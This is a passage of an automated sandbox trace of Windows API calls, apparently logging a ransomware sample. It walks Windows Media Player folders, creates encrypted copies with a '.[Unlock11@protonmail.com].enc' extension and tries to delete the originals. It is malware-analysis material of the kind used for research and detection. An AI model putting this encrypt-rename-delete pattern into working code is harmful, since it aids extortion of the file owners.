nFileSizeLow=0x1200, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0230.175] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0230.175] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0 [0230.175] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0230.176] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\mpvis.dll.mui")) returned 0x20 [0230.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0230.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0230.191] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\setup_wm.exe.mui")) returned 0x20 [0230.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0230.191] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmlaunch.exe.mui")) returned 0x20 [0230.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0230.192] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmplayer.exe.mui")) returned 0x20 [0230.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0230.192] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpmediasharing.dll.mui")) returned 0x20 [0230.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0230.192] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881228, Size=0x20) returned 0x33ea8c8 [0230.192] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpnssci.dll.mui")) returned 0x20 [0230.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0230.193] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpnssui.dll.mui")) returned 0x20 [0230.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0230.193] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui", lpFilePart=0x9bada4*="mpvis.dll.mui") returned 0x3f [0230.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0230.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0230.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0230.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0230.194] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui", lpFilePart=0x9bada4*="setup_wm.exe.mui") returned 0x42 [0230.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0230.194] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui", lpFilePart=0x9bada4*="wmlaunch.exe.mui") returned 0x42 [0230.194] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui", lpFilePart=0x9bada4*="wmplayer.exe.mui") returned 0x42 [0230.194] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui", lpFilePart=0x9bada4*="WMPMediaSharing.dll.mui") returned 0x49 [0230.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0230.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0230.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0230.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0230.195] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui", lpFilePart=0x9bada4*="wmpnssci.dll.mui") returned 0x42 [0230.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0230.195] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui", lpFilePart=0x9bada4*="wmpnssui.dll.mui") returned 0x42 [0230.195] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0230.196] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.196] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0230.196] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0230.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8c8 | out: hHeap=0x2ad0000) returned 1 [0230.196] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0230.197] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.198] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x50db, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0230.198] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0230.198] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0230.198] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0230.198] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0230.198] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0230.199] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0230.199] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 1 [0230.199] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 0 [0230.199] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0230.200] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml")) returned 0x20 [0230.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0230.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0230.201] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml")) returned 0x20 [0230.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0230.201] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg")) returned 0x20 [0230.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db800 | out: hHeap=0x2ad0000) returned 1 [0230.202] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png")) returned 0x20 [0230.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0230.203] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg")) returned 0x20 [0230.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0230.204] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x33ea990 [0230.204] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png")) returned 0x20 [0230.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0230.204] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml")) returned 0x20 [0230.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0230.205] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol_dmp.xml")) returned 0x20 [0230.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c18 | out: hHeap=0x2ad0000) returned 1 [0230.206] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml", lpFilePart=0x9bada4*="avtransport.xml") returned 0x4a [0230.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0230.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0230.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0230.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0230.206] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x50db)) returned 1 [0230.206] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674d54 | out: pbBuffer=0x3674d54) returned 1 [0230.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0230.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0230.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0230.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa30 [0230.207] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.207] GetFileType (hFile=0x334) returned 0x1 [0230.207] GetFileType (hFile=0x334) returned 0x1 [0230.207] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.207] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.208] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.208] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.208] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.208] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.208] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.208] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.208] GetFileType (hFile=0x39c) returned 0x1 [0230.209] GetFileType (hFile=0x39c) returned 0x1 [0230.209] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.209] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.209] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.209] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.209] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.209] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.209] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.212] CloseHandle (hObject=0x39c) returned 1 [0230.213] CloseHandle (hObject=0x334) returned 1 [0230.213] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml")) returned 0 [0230.213] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml", lpFilePart=0x9bada4*="connectionmanager_dmr.xml") returned 0x54 [0230.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0230.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0230.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0230.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0230.214] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x1534)) returned 1 [0230.214] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36741ec | out: pbBuffer=0x36741ec) returned 1 [0230.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0230.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0230.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0230.214] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.215] GetFileType (hFile=0x334) returned 0x1 [0230.215] GetFileType (hFile=0x334) returned 0x1 [0230.215] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.215] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.215] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.215] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: 